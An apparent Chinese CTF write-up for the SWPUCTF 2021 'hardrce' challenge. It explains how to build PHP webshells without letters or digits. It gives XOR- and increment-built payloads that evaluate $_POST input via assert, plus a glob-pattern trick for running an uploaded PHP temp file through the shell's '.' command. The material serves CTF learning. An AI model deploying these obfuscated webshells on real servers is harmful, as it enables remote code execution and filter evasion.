参考题目:[SWPUCTF 2021 新生赛]hardrce
参考文章:
一些不包含数字和字母的webshell
无字母数字webshell之提高篇
绕过思路
法一 利用异或绕过
1
2
3
4
|
('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`') //'assert'
'_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']') //'_POST'
('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`')($'_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']')['in']) //'assert($_POST['in'])'
|
通过本方法可以绕过对于字母的限制
法二 利用取反进行绕过
利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,比如'
和{2}
的结果是\x8c
,其取反即为字母s
法三 无法使用位运算时
由于'a'++ => 'b'
,'b'++ => 'c'
……
通过该特性,可以得到只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。
而Array既有A又有a,因此可以通过其得到A-Z和a-z。
与此同时,在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array。
之后进行对Array的截取,可得a或A。
常用shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
|
无字母、数字、$
-
知识点:
(1)shell下可以利用.
来执行任意脚本
例:
当前运行的shell是bash,则. file
的意思就是用bash执行file文件中的命令。
(2)Linux文件名支持用glob通配符代替
-
针对(1)
如果目标服务器上有一个我们可控的文件,就可以利用.
来执行它了。
得到文件方法:可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX
,文件名最后6个字符是随机的大小写字母
-
针对(2)
Linux下的glob通配符:
*
可以代替0个及以上任意字符
?
可以代表1个任意字符
/tmp/phpXXXXXX
就可以表示为/*/?????????
或/???/?????????
而glob支持用[^x]的方法来构造 “这个位置不是字符x”
可以用这个姿势干掉/bin/run-parts
1
2
|
/???/???[^-]????? //排除第四位为’-’的文件
/???/???[^-][^.][^.][^.][^.]?[^.]? //排除含’.’的文件
|
glob支持利用[0-9]
来表示一个范围
找到一个可以表示“大写字母”的glob通配符,就能精准找到我们要执行的文件
ASCII码表中,大写字母位于@
与[
之间
可以利用[@-[]
来表示大写字母
构造POC
php生成临时文件名是随机的,最后一个字符不一定是大写字母,要多尝试几次